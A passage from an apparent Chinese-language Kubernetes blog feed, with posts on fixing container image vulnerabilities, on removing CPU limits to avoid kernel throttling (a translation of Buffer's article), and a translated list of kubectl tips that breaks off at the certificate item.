&lt;p&gt;说了好几期 CIS 之类的运行时安全问题，K8s 在运行过程中，还有个常见的安全威胁就是镜像漏洞，不少同学都有在实施过程中因为镜像漏洞问题被吊打的经验，今天就结合个人经验，说说镜像漏洞修复的一般流程。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;这里主要指的是第三方镜像的修复过程，Scratch 不在此列。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;开局一张图：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-mermaid&#34;&gt;graph TD
  start(修复任务) --&amp;gt; base_or_app{基础/应用}
  base_or_app--&amp;gt;|业务漏洞|official_image{官方镜像}
  base_or_app--&amp;gt;|基底漏洞|os_updated{底层更新}
  os_updated--&amp;gt;|是|reos_pass{底层扫描}
  os_updated--&amp;gt;|否|change_os(更换底层)
  change_os--&amp;gt;reos_pass
  reos_pass--&amp;gt;|已解决|can_build
  reos_pass--&amp;gt;|未解决|change_os
  official_image --&amp;gt; |是|image_updated{是否已更新?}
  official_image --&amp;gt; |否|can_build{源码齐全}
  image_updated --&amp;gt; |是|rescan_pass{重新扫描通过}
  rescan_pass --&amp;gt; |是|fin(结案)
  rescan_pass --&amp;gt; |否|start
  image_updated --&amp;gt;|否|can_build
  can_build --&amp;gt; |是|docker_build(docker build)
  can_build --&amp;gt; |否|docker_cp(docker cp/commit)
  docker_cp --&amp;gt; rescan_pass
  docker_build --&amp;gt; rescan_pass
  change_os --&amp;gt; rescan_pass
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;修复任务分析&#34;&gt;修复任务分析&lt;/h2&gt;

&lt;p&gt;通常扫描报告会明确指明确切的问题源头、相关软件包、问题版本、修复版本等，首先要根据报告判断修复的目标。修复目标并不一定是固定的，有些情况下可能仅需要修复公开的高危漏洞，有些可能要求更多。&lt;/p&gt;

&lt;p&gt;我们都知道，容器镜像是个分层结构，底层通常由操作系统（例如 &lt;code&gt;debian:buster-slim&lt;/code&gt;）或者特定运行时（例如 &lt;code&gt;openjdk:16&lt;/code&gt;）构成；另外可能构建应用程序，或者直接通过 &lt;code&gt;COPY&lt;/code&gt;/&lt;code&gt;ADD&lt;/code&gt; 的方式加入应用程序；另外还会通过 &lt;code&gt;CMD&lt;/code&gt;、&lt;code&gt;ENV&lt;/code&gt; 等指令设置运行环境等。软件漏洞多发于底层和应用程序层，因此这里需要根据扫描报告，确认我们的修复目标。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;软件配置问题也可能造成漏洞，可以另行讲解。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&#34;应用层漏洞&#34;&gt;应用层漏洞&lt;/h2&gt;

&lt;p&gt;如果要修复的问题是处于应用层，就要判断该镜像是否为官方镜像，如果答案是肯定的，则可以直接更新官方镜像，通常同一个大版本下的小版本更新，都是兼容的，可以更新之后直接进行测试和复查。&lt;/p&gt;

&lt;p&gt;如果官方没有针对性的修复，或者镜像并未更新，就可能需要自己构建镜像了。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;如果是开源软件，强烈建议提交 Issue 或者 PR&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&#34;基础层漏洞&#34;&gt;基础层漏洞&lt;/h2&gt;

&lt;p&gt;如果是基础层漏洞，除了可以像应用层修复一样，检查版本更新之外，还有另一个选项，就是更换不同的基础层，例如从 Debian 更换为 Ubuntu，这种方式对于 all-in-one 形式的应用（例如大多数用 golang 构建的应用）尤其有效，如果应用程序依赖众多，就不合适了。另外众所周知，Alpine 和我们常用的发行版差异较大，因此也不太合适直接切换。&lt;/p&gt;

&lt;h2 id=&#34;镜像构建&#34;&gt;镜像构建&lt;/h2&gt;

&lt;p&gt;是不是就一个 &lt;code&gt;docker build&lt;/code&gt; 就可以了？多数时候是的。不过要分成几种情况。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;有 &lt;code&gt;Dockerfile&lt;/code&gt; 的情况&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;官方已经发布二进制物料：这种情况通过修改 &lt;code&gt;Dockerfile&lt;/code&gt; 加入更新的二进制文件之后，执行 &lt;code&gt;docker build&lt;/code&gt; 即可。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;官方未发布二进制物料：这种就需要根据源码进行构建，然后再生成 Docker 镜像。&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;没有 &lt;code&gt;Dockerfile&lt;/code&gt; 的情况&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;有的软件源码中通过 &lt;code&gt;Makefile&lt;/code&gt; 等方式提供了从二进制到镜像的构建方法，通常需要在 &lt;code&gt;README.md&lt;/code&gt; 或者 &lt;code&gt;BUILD.md&lt;/code&gt; 中查找线索。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;更换底层的情况，通常需要自己照猫画虎，重新编写 Dockerfile。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;还有一种比较尴尬的情况——有二进制物料，但是没 Dockerfile，这种我通常会使用 &lt;code&gt;docker cp&lt;/code&gt;-&amp;gt;&lt;code&gt;docker commit&lt;/code&gt; 的不入流方式。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;另外一种尴尬情况就是，官方只提供了 Docker 镜像，但是我们想要换掉基础层，这种情况和上面类似，用 &lt;code&gt;docker cp&lt;/code&gt; 把官方镜像中的应用文件复制出来即可。&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;复测&#34;&gt;复测&lt;/h2&gt;

&lt;p&gt;在完成修复步骤之后，可以针对性地进行复测，查看修复情况，循环往复直到完成目标为止。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Kubernetes：移除 CPU 限制，服务运行更快</title>
      <link>/post/k8s-faster-services-no-cpu-limits/</link>
      <pubDate>Fri, 11 Sep 2020 23:57:35 +0800</pubDate>
      <guid>/post/k8s-faster-services-no-cpu-limits/</guid>
      <description>

&lt;p&gt;原文：&lt;a href=&#34;https://erickhun.com/posts/kubernetes-faster-services-no-cpu-limits/&#34; target=&#34;_blank&#34;&gt;Kubernetes: Make your services faster by removing CPU limits&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;作者：&lt;a href=&#34;https://erickhun.com/&#34; target=&#34;_blank&#34;&gt;ERIC KHUN&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;我们（Buffer）早在 2016 年就&lt;a href=&#34;https://kubernetes.io/case-studies/buffer/&#34; target=&#34;_blank&#34;&gt;开始使用 Kubernetes&lt;/a&gt; 了。我们使用 &lt;a href=&#34;https://kops.sigs.k8s.io/&#34; target=&#34;_blank&#34;&gt;kops&lt;/a&gt; 对 Kubernetes 集群进行管理，其中包含了大约 60 个运行在 AWS 的节点，运行着 1500 个左右的容器。我们的微服务迁移之路充满坎坷。在和 Kubernetes 相处多年以后，我们还是会时不时遭到它的毒打。本文接下来要讨论的案例就是这样——&lt;strong&gt;CPU Limit&lt;/strong&gt; 是一头披着狼皮的羊。&lt;/p&gt;

&lt;h2 id=&#34;cpu-限制和流控&#34;&gt;CPU 限制和流控&lt;/h2&gt;

&lt;p&gt;&lt;a href=&#34;https://cloud.google.com/blog/products/gcp/kubernetes-best-practices-resource-requests-and-limits&#34; target=&#34;_blank&#34;&gt;Google 等公司强烈建议&lt;/a&gt;设置 CPU 限制。如果不进行这一限制，节点上的容器可能会耗尽所有 CPU 资源，这可能会引发多种意料之外的事故——例如导致 Kubernetes 关键进程（比如说 &lt;code&gt;kubelet&lt;/code&gt;）停止响应。因此理论上为容器设置 CPU 限制能够很好的对节点进行保护。&lt;/p&gt;

&lt;p&gt;该特性能限制一个容器在给定周期内（缺省为 100 毫秒）能够消耗的最大 CPU 时间。受限的容器永远无法消耗超过限制的 CPU 资源。Kubernetes 使用 &lt;a href=&#34;https://en.wikipedia.org/wiki/Completely_Fair_Scheduler&#34; target=&#34;_blank&#34;&gt;CFS 配额&lt;/a&gt; 技术对容器进行流控，制止其使用超限的 CPU 资源。也就是说 CPU 的使用受到了限制，会让容器变慢（可能增加响应时间）。&lt;/p&gt;

&lt;h2 id=&#34;不设置-cpu-限制会怎样&#34;&gt;不设置 CPU 限制会怎样&lt;/h2&gt;

&lt;p&gt;我们很不幸地遭遇了这种情况，在每个节点上运行的 &lt;code&gt;kubelet&lt;/code&gt; 进程停止响应。此时节点进入 &lt;code&gt;NotReady&lt;/code&gt; 状态，并且其上运行的容器被重新调度到其它节点，又引发其它节点的问题——这可能不是我们希望的情况。&lt;/p&gt;

&lt;h2 id=&#34;发现流控和延迟的问题&#34;&gt;发现流控和延迟的问题&lt;/h2&gt;

&lt;p&gt;容器运行过程中又一个关键指标就是 &lt;code&gt;throttling&lt;/code&gt;。该指标显示了你的容器受到流控的次数。我们有一个奇怪的发现：不管容器的 CPU 消耗是否逼近了上限，都会遇到流控。下图是我们一个主要 API 的表现：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/cpu-usage-limits.png&#34; alt=&#34;image 1&#34; /&gt;&lt;/p&gt;

&lt;p&gt;这里的 CPU 上限设置为 &lt;code&gt;800m&lt;/code&gt;，而实际运行的最大值仅为 &lt;code&gt;200m&lt;/code&gt;。如此一来我们似乎应该认为，CPU 资源足够，无需限流。实际情况呢？&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;cpu-throttling-low-usage.gif&#34; alt=&#34;image 2&#34; /&gt;&lt;/p&gt;

&lt;p&gt;这里可以看到，虽说 CPU 的消耗远没有达到上限附近，还是发生了限流。&lt;/p&gt;

&lt;p&gt;我们找到一些资源（&lt;a href=&#34;https://github.com/kubernetes/kubernetes/issues/67577&#34; target=&#34;_blank&#34;&gt;github issue&lt;/a&gt;、&lt;a href=&#34;https://www.youtube.com/watch?v=LpFApeaGv7A&amp;amp;feature=youtu.be&amp;amp;t=1204&#34; target=&#34;_blank&#34;&gt;Zalando 的分享&lt;/a&gt;、&lt;a href=&#34;https://medium.com/omio-engineering/cpu-limits-and-aggressive-throttling-in-kubernetes-c5b20bd8a718&#34; target=&#34;_blank&#34;&gt;omio 的帖子&lt;/a&gt;），都说到了 CPU 限流引起服务响应变慢的问题。&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;为什么在 CPU 消耗不多的时候还是触发了限流呢？&lt;/strong&gt;，长话短说的话，这是一个 Linux 内核的 Bug，他会对设置了 CPU 限制的容器进行不必要的流控。如果对其中的细节感兴趣，我们推荐你看看 Dave Chiluk 的&lt;a href=&#34;https://www.youtube.com/watch?v=UE7QX98-kO0&#34; target=&#34;_blank&#34;&gt;精彩演讲&lt;/a&gt;，相关的还有一篇&lt;a href=&#34;https://engineering.indeedblog.com/blog/2019/12/unthrottled-fixing-cpu-limits-in-the-cloud/&#34; target=&#34;_blank&#34;&gt;文字稿&lt;/a&gt;，其中涉及到了更多细节。&lt;/p&gt;

&lt;h2 id=&#34;移除-cpu-限制-有副作用&#34;&gt;移除 CPU 限制（有副作用）&lt;/h2&gt;

&lt;p&gt;经过多次讨论，我们决定删掉所有关键服务上的 CPU 限制。&lt;/p&gt;

&lt;p&gt;事关集群稳定，这是一个艰难的决定。我们的在集群的测试中出现过一些不稳定的情况，部分服务占用过多资源，破坏了同一节点内的其它服务。&lt;/p&gt;

&lt;h2 id=&#34;如何在去除限制之后保障集群稳定性&#34;&gt;如何在去除限制之后保障集群稳定性&lt;/h2&gt;

&lt;h3 id=&#34;隔离不限制-cpu-的服务&#34;&gt;隔离不限制 CPU 的服务&lt;/h3&gt;

&lt;p&gt;因为有的服务会占用太多资源，导致节点进入 &lt;code&gt;NotReady&lt;/code&gt; 状态。我们决定把一些这些服务放到特定节点上（&lt;code&gt;taint&lt;/code&gt;），如此一来，不受限的服务就不会干扰到受限服务，让我们可以轻易地分辨节点的故障原因。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/buffer-k8s-infrastructure-nodes.jpg&#34; alt=&#34;image 3&#34; /&gt;&lt;/p&gt;

&lt;h3 id=&#34;为容器分配合适的-cpu-和内存-requests&#34;&gt;为容器分配合适的 CPU 和内存 requests&lt;/h3&gt;

&lt;p&gt;我们最担心的事情就是服务占用太多资源导致节点不可用。然而我们使用 Datadog 让集群变得易于监控，我们花了几个月的时间，对每个我们希望放开限制的服务的运行情况进行观察，根据监控结果，我们将这些容器的 CPU 请求值设置为观测到的上限的 120%。这样就保障了容器的资源需求。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/choose-cpu-request-based-on-max.png&#34; alt=&#34;image 4&#34; /&gt;&lt;/p&gt;

&lt;p&gt;上图可见，CPU 用量的峰值为 &lt;code&gt;242m&lt;/code&gt;，我们就根据这个峰值来设置其 CPU 请求值。这个服务是面向用户的，因此其资源使用的波动和流量波动是相匹配的。&lt;/p&gt;

&lt;p&gt;同样的方法可以用在内存的设置上。如果觉得还不放心，可以使用 HPA 来增强服务的弹性，并在节点资源不足时告警，或者使用集群的自动扩容能力。&lt;/p&gt;

&lt;p&gt;这个操作客观上会降低&lt;a href=&#34;https://wiki.openvz.org/WP/Containers_density&#34; target=&#34;_blank&#34;&gt;容器密度&lt;/a&gt;。&lt;/p&gt;

&lt;h2 id=&#34;结果&#34;&gt;结果&lt;/h2&gt;

&lt;p&gt;在几周的调整之后，我们得到了下表的结果，表格中可以看到，所有服务的延迟都大大降低了。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/speedup-no-cpu-limits2.png&#34; alt=&#34;image 5&#34; /&gt;&lt;/p&gt;

&lt;p&gt;我们的着陆页面（&lt;a href=&#34;https://buffer.com/&#34; target=&#34;_blank&#34;&gt;buffer.com&lt;/a&gt;），其响应速度提高了 22 倍。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/no-cpu-limit-speedup-buffer-com.jpg&#34; alt=&#34;image 6&#34; /&gt;&lt;/p&gt;

&lt;h2 id=&#34;这个内核问题修复了么&#34;&gt;这个内核问题修复了么&lt;/h2&gt;

&lt;p&gt;4.19 或更高版本的 Linux 发行版已经&lt;a href=&#34;https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=763a9ec06c4&#34; target=&#34;_blank&#34;&gt;纠正了该问题&lt;/a&gt;（再次感谢 &lt;a href=&#34;https://twitter.com/dchiluk&#34; target=&#34;_blank&#34;&gt;Dave Chiluk&lt;/a&gt; 发现并解决了这个问题）。&lt;/p&gt;

&lt;p&gt;然而直到 2020 年 9 月 2 号，阅读&lt;a href=&#34;https://github.com/kubernetes/kubernetes/issues/67577&#34; target=&#34;_blank&#34;&gt;相关 Issue&lt;/a&gt; 时，我们还是看到很多 Linux 项目在引用这个问题，因此我猜测还有一些 LInux 发行版存在该问题。&lt;/p&gt;

&lt;p&gt;如果你使用的 Linux 发行版使用的内核小于 4.19，建议为节点进行内核升级。但是任何情况下，我们都建议读者删掉 CPU 限制，看看监控中的流控数据。下面的列表并不完全：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Debian：&lt;a href=&#34;https://www.debian.org/releases/buster/&#34; target=&#34;_blank&#34;&gt;Buster&lt;/a&gt; 版本&lt;a href=&#34;https://tracker.debian.org/news/1167353/accepted-linux-latest-419-105deb10u5deb9u1-source-amd64-into-oldstable-oldstable/&#34; target=&#34;_blank&#34;&gt;最近&lt;/a&gt; 进行了修复，可能有些早期版本也做了补丁。&lt;/li&gt;
&lt;li&gt;Ubuntu：&lt;a href=&#34;https://releases.ubuntu.com/20.04/&#34; target=&#34;_blank&#34;&gt;Ubuntu Focal Fosa 20.04&lt;/a&gt; 已经修复。&lt;/li&gt;
&lt;li&gt;EKS 在 &lt;a href=&#34;https://github.com/aws/containers-roadmap/issues/175&#34; target=&#34;_blank&#34;&gt;2019 年&lt;/a&gt;就修复了这个问题。如果版本落后的话，建议升级一下 AMI。&lt;/li&gt;
&lt;li&gt;kops 在 &lt;a href=&#34;https://github.com/kubernetes/kops/pull/9283&#34; target=&#34;_blank&#34;&gt;2020 年 6 月&lt;/a&gt;的 &lt;code&gt;kops 1.18&lt;/code&gt; 中开始使用 &lt;code&gt;Ubuntu 20.04&lt;/code&gt; 作为缺省的主机镜像。然而如果使用的是低版本 kops，可能就需要等着补丁发布了（我们也在等）。&lt;/li&gt;
&lt;li&gt;GKE：&lt;a href=&#34;https://cloud.google.com/container-optimized-os/docs/release-notes#cos-stable-77-12371-141-0&#34; target=&#34;_blank&#34;&gt;在 2020 年 1 月&lt;/a&gt; 修复了这个问题。但是看起来这个情况还&lt;a href=&#34;https://news.ycombinator.com/item?id=24356903&#34; target=&#34;_blank&#34;&gt;时有发生&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&#34;这样就解决了么&#34;&gt;这样就解决了么&lt;/h3&gt;

&lt;p&gt;我不确定是否完全解决。我希望拿到修复后的内核之后，尝试根据本文内容进行实现。&lt;/p&gt;

&lt;h2 id=&#34;总结&#34;&gt;总结&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;如果你在 Linux 下运行 Docker容器（不管是Kubernetes/Mesos/Swarm），你可能会因为节流而导致容器表现不佳。&lt;/li&gt;
&lt;li&gt;把你的发行版升级到最新版本，希望这个错误得到修复&lt;/li&gt;
&lt;li&gt;取消 CPU 限制是解决这个问题的一个办法，但这是很危险的，应该格外小心（最好先升级你的内核，并先监控节流）。&lt;/li&gt;
&lt;li&gt;如果你取消了 CPU 限制，请仔细监控节点中 CPU 和内存的使用情况，并确保你的 CPU 请求够大，一个安全的方法是，如果资源使用量大，就使用 HPA 来创建新的 Pod，这样 Kubernetes 就会安排在空间富余的节点中了。&lt;/li&gt;
&lt;/ul&gt;
</description>
    </item>
    
    <item>
      <title>kubectl 的奇技淫巧</title>
      <link>/post/tips-for-kubectl/</link>
      <pubDate>Thu, 10 Sep 2020 19:44:49 +0800</pubDate>
      <guid>/post/tips-for-kubectl/</guid>
      <description>

&lt;p&gt;原文：&lt;a href=&#34;https://medium.com/flant-com/kubectl-commands-and-tips-7b33de0c5476&#34; target=&#34;_blank&#34;&gt;Ready-to-use commands and tips for kubectl&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;作者：&lt;a href=&#34;https://medium.com/@flant_com&#34; target=&#34;_blank&#34;&gt;Flant staff&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Kubectl 是 Kubernetes 最重要的命令行工具。在 Flant，我们会在 Wiki 和 Slack 上相互分享 Kubectl 的妙用（其实我们还有个搜索引擎，不过那就是另外一回事了）。多年以来，我们在 kubectl 方面积累了很多技巧，现在想要将其中的部分分享给社区。&lt;/p&gt;

&lt;p&gt;我相信很多读者对这些命令都非常熟悉；然而我还是希望读者能够从本文中有所获益，进而提高生产力。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;下列内容有的是来自我们的工程师，还有的是来自互联网。我们对后者也进行了测试，并且确认其有效性。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;现在开始吧。&lt;/p&gt;

&lt;h2 id=&#34;获取-pod-和节点&#34;&gt;获取 Pod 和节点&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;我猜你知道如何获取 Kubernetes 集群中所有 Namespace 的 Pod——使用 &lt;code&gt;--all-namepsaces&lt;/code&gt; 就可以。然而不少朋友还不知道，现在这一开关还有了 &lt;code&gt;-A&lt;/code&gt; 的缩写。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;如何查找非 &lt;code&gt;running&lt;/code&gt; 状态的 Pod 呢？&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-text&#34;&gt;kubectl get pods -A --field-selector=status.phase!=Running | grep -v Complete
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;顺便一说，&lt;code&gt;--field-selector&lt;/code&gt; 是个&lt;a href=&#34;https://kubernetes.io/docs/concepts/overview/working-with-objects/field-selectors/&#34; target=&#34;_blank&#34;&gt;值得深入&lt;/a&gt;一点的参数。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;如何获取节点列表及其内存容量：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-text&#34;&gt;kubectl get no -o json | \
  jq -r &#39;.items | sort_by(.status.capacity.memory)[]|[.metadata.name,.status.capacity.memory]| @tsv&#39;
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;获取节点列表，其中包含运行在每个节点上的 Pod 数量：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-text&#34;&gt;kubectl get po -o json --all-namespaces | \
  jq &#39;.items | group_by(.spec.nodeName) | map({&amp;quot;nodeName&amp;quot;: .[0].spec.nodeName, &amp;quot;count&amp;quot;: length}) | sort_by(.count)&#39;
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;有时候 DaemonSet 因为某种原因没能在某个节点上启动。手动搜索会有点麻烦：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-text&#34;&gt;$ ns=my-namespace
$ pod_template=my-pod
$ kubectl get node | grep -v \&amp;quot;$(kubectl -n ${ns} get pod --all-namespaces -o wide | fgrep ${pod_template} | awk &#39;{print $8}&#39; | xargs -n 1 echo -n &amp;quot;\|&amp;quot; | sed &#39;s/[[:space:]]*//g&#39;)\&amp;quot;
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;使用 &lt;code&gt;kubectl top&lt;/code&gt; 获取 Pod 列表并根据其消耗的 CPU 或 内存进行排序：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-text&#34;&gt;# cpu
$ kubectl top pods -A | sort --reverse --key 3 --numeric
# memory
$ kubectl top pods -A | sort --reverse --key 4 --numeric
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;获取 Pod 列表，并根据重启次数进行排序：&lt;/p&gt;

&lt;p&gt;kubectl get pods &amp;ndash;sort-by=.status.containerStatuses[0].restartCount&lt;/p&gt;

&lt;p&gt;当然也可以使用 &lt;a href=&#34;https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.18/#podstatus-v1-core&#34; target=&#34;_blank&#34;&gt;PodStatus&lt;/a&gt; 以及 &lt;a href=&#34;https://kubernetes.io/docs/reference/generated/kubernetes-api/v1.18/#containerstatus-v1-core&#34; target=&#34;_blank&#34;&gt;ContainerStatus&lt;/a&gt; 的其它字段进行排序。&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&#34;获取其它数据&#34;&gt;获取其它数据&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;运行 Ingress 时，经常要获取 Service 对象的 &lt;code&gt;selector&lt;/code&gt; 字段，用来查找 Pod。过去要打开 Service 的清单才能完成这个任务，现在使用 &lt;code&gt;-o wide&lt;/code&gt; 参数也可以：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl -n jaeger get svc -o wide
NAME                            TYPE        CLUSTER-IP        EXTERNAL-IP   PORT(S)                                  AGE   SELECTOR
jaeger-cassandra                ClusterIP   None              &amp;lt;none&amp;gt;        9042/TCP                                 77d   app=cassandracluster,cassandracluster=jaeger-cassandra,cluster=jaeger-cassandra
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;如何输出 Pod 的 &lt;code&gt;requests&lt;/code&gt; 和 &lt;code&gt;limits&lt;/code&gt;：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-text&#34;&gt;$ kubectl get pods -A -o=custom-columns=&#39;NAME:spec.containers[*].name,MEMREQ:spec.containers[*].resources.requests.memory,MEMLIM:spec.containers[*].resources.limits.memory,CPUREQ:spec.containers[*].resources.requests.cpu,CPULIM:spec.containers[*].resources.limits.cpu&#39;
NAME                                  MEMREQ       MEMLIM        CPUREQ   CPULIM
coredns                               70Mi         170Mi         100m     &amp;lt;none&amp;gt;
coredns                               70Mi         170Mi         100m     &amp;lt;none&amp;gt;
...
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;code&gt;kubectl run&lt;/code&gt;（以及 &lt;code&gt;create&lt;/code&gt;、&lt;code&gt;apply&lt;/code&gt;、&lt;code&gt;patch&lt;/code&gt;）命令有个厉害的参数 &lt;code&gt;--dry-run&lt;/code&gt;，该参数让用户无需真正操作集群就能观察集群的行为，如果配合 &lt;code&gt;-o yaml&lt;/code&gt;，就能输出命令对应的 YAML：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl run test --image=grafana/grafana --dry-run -o yaml
apiVersion: apps/v1
kind: Deployment
metadata:
  creationTimestamp: null
  labels:
    run: test
  name: test
spec:
  replicas: 1
  selector:
    matchLabels:
      run: test
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;简单的把输出内容保存到文件，删除无用字段就可以使用了。&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;1.18 开始 &lt;code&gt;kubectl run&lt;/code&gt; 生成的是 Pod 而非 Deployment。&lt;/p&gt;
&lt;/blockquote&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;获取指定资源的描述清单：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;kubectl explain hpa
KIND:     HorizontalPodAutoscaler
VERSION:  autoscaling/v1
DESCRIPTION:
     configuration of a horizontal pod autoscaler.
FIELDS:
   apiVersion    &amp;lt;string&amp;gt;
...
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&#34;网络&#34;&gt;网络&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;获取集群节点的内部 IP：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl get nodes -o json | jq -r &#39;.items[].status.addresses[]? | select (.type == &amp;quot;InternalIP&amp;quot;) | .address&#39; | \
  paste -sd &amp;quot;\n&amp;quot; -
9.134.14.252
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;获取所有的 Service 对象以及其 &lt;code&gt;nodePort&lt;/code&gt;：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl get -A svc -o json | jq -r &#39;.items[] | [.metadata.name,([.spec.ports[].nodePort | tostring ] | join(&amp;quot;|&amp;quot;))]| @tsv&#39;

kubernetes  null
...
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;在排除 CNI（例如 Flannel）故障的时候，经常会需要检查路由来识别故障 Pod。Pod 子网在这里非常有用：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl get nodes -o jsonpath=&#39;{.items[*].spec.podCIDR}&#39; | tr &amp;quot; &amp;quot; &amp;quot;\n&amp;quot;                                                            fix-doc-azure-container-registry-config  ✭
10.120.0.0/24
10.120.1.0/24
10.120.2.0/24
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&#34;日志&#34;&gt;日志&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;使用可读的时间格式输出日志：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ kubectl logs -f fluentbit-gke-qq9w9  -c fluentbit --timestamps
2020-09-10T13:10:49.822321364Z Fluent Bit v1.3.11
2020-09-10T13:10:49.822373900Z Copyright (C) Treasure Data
2020-09-10T13:10:49.822379743Z
2020-09-10T13:10:49.822383264Z [2020/09/10 13:10:49] [ info] Configuration:
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;只输出尾部日志：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;kubectl logs -f fluentbit-gke-qq9w9  -c fluentbit --tail=10
[2020/09/10 13:10:49] [ info] ___________
[2020/09/10 13:10:49] [ info]  filters:
[2020/09/10 13:10:49] [ info]      parser.0
...
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;输出一个 Pod 中所有容器的日志：&lt;/p&gt;

&lt;p&gt;kubectl -n my-namespace logs -f my-pod &amp;ndash;all-containers&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;使用标签选择器输出多个 Pod 的日志：&lt;/p&gt;

&lt;p&gt;kubectl -n my-namespace logs -f -l app=nginx&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;获取“前一个”容器的日志（例如崩溃的情况）：&lt;/p&gt;

&lt;p&gt;kubectl -n my-namespace logs my-pod &amp;ndash;previous&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&#34;其它&#34;&gt;其它&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;把 Secret 复制到其它命名空间：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-text&#34;&gt;kubectl get secrets -o json --namespace namespace-old | \
  jq &#39;.items[].metadata.namespace = &amp;quot;namespace-new&amp;quot;&#39; | \
  kubectl create-f  -
&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;下面两个命令可以生成一个用于测试的自签发证书：&lt;/p&gt;

